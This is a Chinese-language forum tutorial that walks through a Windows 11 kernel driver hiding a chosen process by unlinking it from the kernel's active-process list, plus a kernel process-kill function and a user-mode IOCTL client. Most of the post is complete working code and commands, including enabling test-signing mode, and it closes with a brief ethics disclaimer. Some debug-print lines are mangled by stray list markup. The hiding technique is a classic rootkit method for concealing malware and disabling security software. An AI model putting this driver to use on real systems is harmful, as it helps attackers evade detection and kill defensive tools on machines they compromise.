找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3713

积分

0

好友

489

主题
发表于 19 小时前 | 查看: 3| 回复: 0

本文将探讨如何编写一个Windows内核模式驱动程序,来实现进程隐藏与终止功能。我们将从环境配置、内核数据结构操作讲起,并最终实现一个可通过用户态程序动态控制的完整方案。

环境准备与驱动安装

首先,你需要配置一个Windows 11虚拟机,并确保已禁用安全启动。接着,使用 bcdedit 命令启用调试和测试签名模式,以便加载我们未签名的驱动程序。

bcdedit /debug on
bcdedit /set testsigning on

定位关键数据结构偏移量

实现进程隐藏的核心在于操作内核的进程链表。你需要找到 ActiveProcessLinks_EPROCESS 结构体中的偏移量。在调试器中查看结构定义:

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x1c8 ProcessLock      : _EX_PUSH_LOCK
   +0x1d0 UniqueProcessId  : Ptr64 Void
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY

在我们的测试环境(Windows 11 24H2)中,ActiveProcessLinks 的偏移量是 0x1d8。这个值对于后续的代码至关重要。

编写基础的进程隐藏驱动

下面是一个基础版本的内核驱动程序,它会硬编码一个进程ID(PID),并将其从系统进程链表中摘除,从而达到在任务管理器等工具中隐藏的效果。

#include <Ntifs.h>
#include <ntddk.h>

VOID HideProcessByPid(ULONG pidToHide);

NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
    UNREFERENCED_PARAMETER(driverObject);
    KdPrint(("[+] Unloading driver\n"));
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
    UNREFERENCED_PARAMETER(registryPath);
    KdPrint(("[+] Driver loaded\n"));
    driverObject->DriverUnload = DriverUnload;

    ULONG pidToHide = 9636;
    KdPrint(("[+] Calling Hide Process...\n"));
    HideProcessByPid(pidToHide);
    KdPrint(("[+] Called Hide Process\n"));
    return STATUS_SUCCESS;
}

VOID HideProcessByPid(ULONG pidToHide) {
    PEPROCESS targetProcess = NULL;
    PLIST_ENTRY activeProcLinks;
    PLIST_ENTRY prevEntry, nextEntry;

    KdPrint(("[+] Looking up process...\n"));

    if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
        KdPrint(("[+] Lookup worked\n"));

        // 0x1d8 = Windows 11 24H2 ActiveLinks Offset
        activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);

        prevEntry = activeProcLinks->Blink;
        nextEntry = activeProcLinks->Flink;

        DbgPrint("
  • targetProcess: %p\n", targetProcess);         DbgPrint("
  • activeProcLinks: %p\n", activeProcLinks);         DbgPrint("
  • prevEntry: %p\n", prevEntry);         DbgPrint("
  • nextEntry: %p\n", nextEntry);         // Unlink the process from the list         prevEntry->Flink = nextEntry;         nextEntry->Blink = prevEntry;         ObDereferenceObject(targetProcess);         KdPrint(("[-] Process with PID %d hidden\n", pidToHide));     } else {         KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));     } }
  • 关键点:请确保编译驱动程序的调试版本(Debug),而非发布版本(Release),这样我们才能在调试工具中看到内核打印的调试消息。

    加载驱动与验证

    使用 sc 命令创建服务并启动驱动程序:

    C:\>sc create MyDriver type= kernel binPath= C:\MyDriver.sys
    [SC] CreateService SUCCESS
    
    C:\Users\user\Desktop>sc start MyDriver
    
    SERVICE_NAME: MyDriver
            TYPE               : 1  KERNEL_DRIVER
            STATE              : 4  RUNNING
                                    (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
            WIN32_EXIT_CODE    : 0  (0x0)
            SERVICE_EXIT_CODE  : 0  (0x0)
            CHECKPOINT         : 0x0
            WAIT_HINT          : 0x0
            PID                : 0
            FLAGS              :

    启动后,可以使用微软的 DebugView 工具来捕获驱动程序输出的调试信息。在DebugView的“Capture”菜单中,请确保勾选以下选项:

    • Capture Kernel
    • Capture Win32
    • Capture Global Win32
    • Pass-Through

    如果一切正常,你将在DebugView中看到驱动程序打印的进程句柄、偏移量地址等信息。此时,代码中指定的PID对应的进程将从任务管理器中“消失”。

    实现用户态通信与进程终止

    硬编码PID显然不够灵活。更实用的方法是编写一个用户态应用程序,通过 IOCTL 与内核驱动进行动态通信。同时,我们还可以在驱动中集成使用 ZwTerminateProcess 终止进程的功能。

    增强版驱动程序代码

    此版本驱动创建了一个设备对象,并定义了两种IOCTL控制码,分别用于隐藏和终止进程。

    #include <Ntifs.h>
    #include <ntddk.h>
    
    #define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
    #define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
    
    #define PROCESS_TERMINATE 0x0001
    
    VOID HideProcessByPid(ULONG pidToHide);
    NTSTATUS KillProcessByPid(ULONG pidToKill);
    
    NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
        UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
    
        IoDeleteSymbolicLink(&symLink);
        IoDeleteDevice(driverObject->DeviceObject);
    
        KdPrint(("[+] Unloading driver\n"));
        return STATUS_SUCCESS;
    }
    
    NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
        UNREFERENCED_PARAMETER(DeviceObject);
        Irp->IoStatus.Status = STATUS_SUCCESS;
        Irp->IoStatus.Information = 0;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_SUCCESS;
    }
    
    NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
        UNREFERENCED_PARAMETER(DeviceObject);
    
        PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
        ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
        ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
    
        NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
    
        if (inputLen == sizeof(ULONG)) {
            ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
    
            switch (controlCode) {
            case IOCTL_HIDE_PROCESS:
                KdPrint(("[+] IOCTL_HIDE_PROCESS received for PID %u\n", pid));
                HideProcessByPid(pid);
                status = STATUS_SUCCESS;
                break;
    
            case IOCTL_KILL_PROCESS:
                KdPrint(("[+] IOCTL_KILL_PROCESS received for PID %u\n", pid));
                status = KillProcessByPid(pid);
                break;
    
            default:
                KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
                break;
            }
    
            Irp->IoStatus.Information = 0;
        } else {
            KdPrint(("[-] Invalid input size: %u\n", inputLen));
            status = STATUS_BUFFER_TOO_SMALL;
        }
    
        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }
    
    NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
        PDEVICE_OBJECT deviceObject = NULL;
        UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\HideProcDevice");
        UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
    
        UNREFERENCED_PARAMETER(registryPath);
    
        NTSTATUS status = IoCreateDevice(
            driverObject,
            0,
            &deviceName,
            FILE_DEVICE_UNKNOWN,
            FILE_DEVICE_SECURE_OPEN,
            FALSE,
            &deviceObject
        );
    
        if (!NT_SUCCESS(status)) {
            KdPrint(("[-] Failed to create device (0x%08X)\n", status));
            return status;
        }
    
        status = IoCreateSymbolicLink(&symLink, &deviceName);
        if (!NT_SUCCESS(status)) {
            IoDeleteDevice(deviceObject);
            KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
            return status;
        }
    
        driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
        driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
        driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
    
        driverObject->DriverUnload = DriverUnload;
    
        KdPrint(("[+] Driver loaded\n"));
        return STATUS_SUCCESS;
    
    }
    
    NTSTATUS KillProcessByPid(ULONG pidToKill)
    {
        NTSTATUS status;
        HANDLE processHandle;
        OBJECT_ATTRIBUTES objAttr;
        CLIENT_ID clientId;
    
        InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
        clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pidToKill;
        clientId.UniqueThread = NULL;
    
        // Open a handle to the process
        status = ZwOpenProcess(&processHandle, PROCESS_TERMINATE, &objAttr, &clientId);
        if (!NT_SUCCESS(status)) {
            KdPrint(("[-] ZwOpenProcess failed for PID %u: 0x%X\n", pidToKill, status));
            return status;
        }
    
        // Terminate the process
        status = ZwTerminateProcess(processHandle, STATUS_SUCCESS);
        if (!NT_SUCCESS(status)) {
            KdPrint(("[-] ZwTerminateProcess failed for PID %u: 0x%X\n", pidToKill, status));
        } else {
            KdPrint(("[+] Successfully terminated PID %u\n", pidToKill));
        }
    
        ZwClose(processHandle);
        return status;
    }
    
    VOID HideProcessByPid(ULONG pidToHide) {
        PEPROCESS targetProcess = NULL;
        PLIST_ENTRY activeProcLinks;
        PLIST_ENTRY prevEntry, nextEntry;
    
        KdPrint(("[+] Looking up process...\n"));
    
        if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
            KdPrint(("[+] Lookup worked\n"));
    
            // 0x1d8 = Windows 11 24H2 ActiveLinks Offset
            activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
    
            prevEntry = activeProcLinks->Blink;
            nextEntry = activeProcLinks->Flink;
    
            DbgPrint("
  • targetProcess: %p\n", targetProcess);         DbgPrint("
  • activeProcLinks: %p\n", activeProcLinks);         DbgPrint("
  • prevEntry: %p\n", prevEntry);         DbgPrint("
  • nextEntry: %p\n", nextEntry);         // Unlink the process from the list         prevEntry->Flink = nextEntry;         nextEntry->Blink = prevEntry;         // Nullify the processes BLINK/FLINK. Failure to do so will cause a crash when the process closes.         activeProcLinks->Flink = activeProcLinks;         activeProcLinks->Blink = activeProcLinks;         ObDereferenceObject(targetProcess);         KdPrint(("[-] Process with PID %d hidden\n", pidToHide));     } else {         KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));     } }
  • 注意,这个版本的 HideProcessByPid 函数在摘除链表后,额外将进程自身的链表指针指向了自己,这是一个重要的稳定性修复,可以防止进程退出时引起系统崩溃。

    用户态控制程序

    将以下代码编译为一个C++控制台应用程序。它通过 DeviceIoControl 函数向驱动发送IOCTL指令。

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <winioctl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define FILE_DEVICE_UNKNOWN 0x00000022
    #define METHOD_BUFFERED     0
    #define FILE_ANY_ACCESS     0
    
    #define IOCTL_HIDE_PROCESS  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
    #define IOCTL_KILL_PROCESS  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
    
    int main(int argc, char** argv) {
        if (argc != 3) {
            printf("Usage: %s <PID> <hide|kill>\n", argv[0]);
            printf("Example: %s 1234 hide\n", argv[0]);
            printf("         %s 1234 kill\n", argv[0]);
            return 1;
        }
    
        // Parse PID
        char* endptr = NULL;
        ULONG pid = strtoul(argv[1], &endptr, 10);
        if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
            printf("[-] Invalid PID: %s\n", argv[1]);
            return 2;
        }
    
        // Determine action: hide or kill
        DWORD ioctlCode = 0;
        if (_stricmp(argv[2], "hide") == 0) {
            ioctlCode = IOCTL_HIDE_PROCESS;
        } else if (_stricmp(argv[2], "kill") == 0) {
            ioctlCode = IOCTL_KILL_PROCESS;
        } else {
            printf("[-] Invalid action: %s. Use 'hide' or 'kill'.\n", argv[2]);
            return 3;
        }
    
        printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
    
        // Open handle to driver
        HANDLE hDevice = CreateFileA(
            "\\\\.\\HideProc",
            GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );
    
        if (hDevice == INVALID_HANDLE_VALUE) {
            printf("[-] Failed to open device: %lu\n", GetLastError());
            return 4;
        }
    
        DWORD bytesReturned = 0;
        BOOL success = DeviceIoControl(
            hDevice,
            ioctlCode,
            &pid,
            sizeof(pid),
            NULL,
            0,
            &bytesReturned,
            NULL
        );
    
        if (success) {
            printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
        } else {
            printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
        }
    
        CloseHandle(hDevice);
        return success ? 0 : 5;
    }

    使用方法:先加载驱动程序,然后运行客户端程序,指定目标PID和操作(hide 或 kill)。例如:Client.exe 5678 hide

    重要注意事项与后续方向

    内核驱动程序的开发和加载涉及系统底层,需要特别注意:

    1. 数字签名:在生产环境中,Windows通常要求内核驱动具有有效的微软数字签名才能加载。在测试环境中,我们使用“测试签名模式”绕过了此限制。如何进一步绕过签名检查,是逆向工程安全研究中的一个深入话题。
    2. 系统稳定性:不当的内核编程极易导致系统蓝屏崩溃(BSOD)。本文提供的代码在特定版本(Win11 24H2)下测试,偏移量可能随系统更新而变化。
    3. 安全与伦理:此类技术常用于安全软件(如杀毒、ARK工具)和渗透测试中,但也可被恶意软件利用。请仅在合法授权和实验环境中进行学习和测试。

    深入了解内核与驱动开发,需要扎实的 C/C++ 功底和对操作系统原理的深刻理解。如果你对 Windows 内核系统安全 有更浓厚的兴趣,欢迎在 云栈社区安全/渗透/逆向C/C++板块与更多开发者交流探讨。




    上一篇:三星S26系列发布,手机行业是否真的陷入‘挤牙膏’困境?
    下一篇:Cursor CEO 解读:软件开发正进入AI Agent云端自治的第三时代,程序员角色迎来剧变
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-2-28 23:22 , Processed in 0.484786 second(s), 40 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表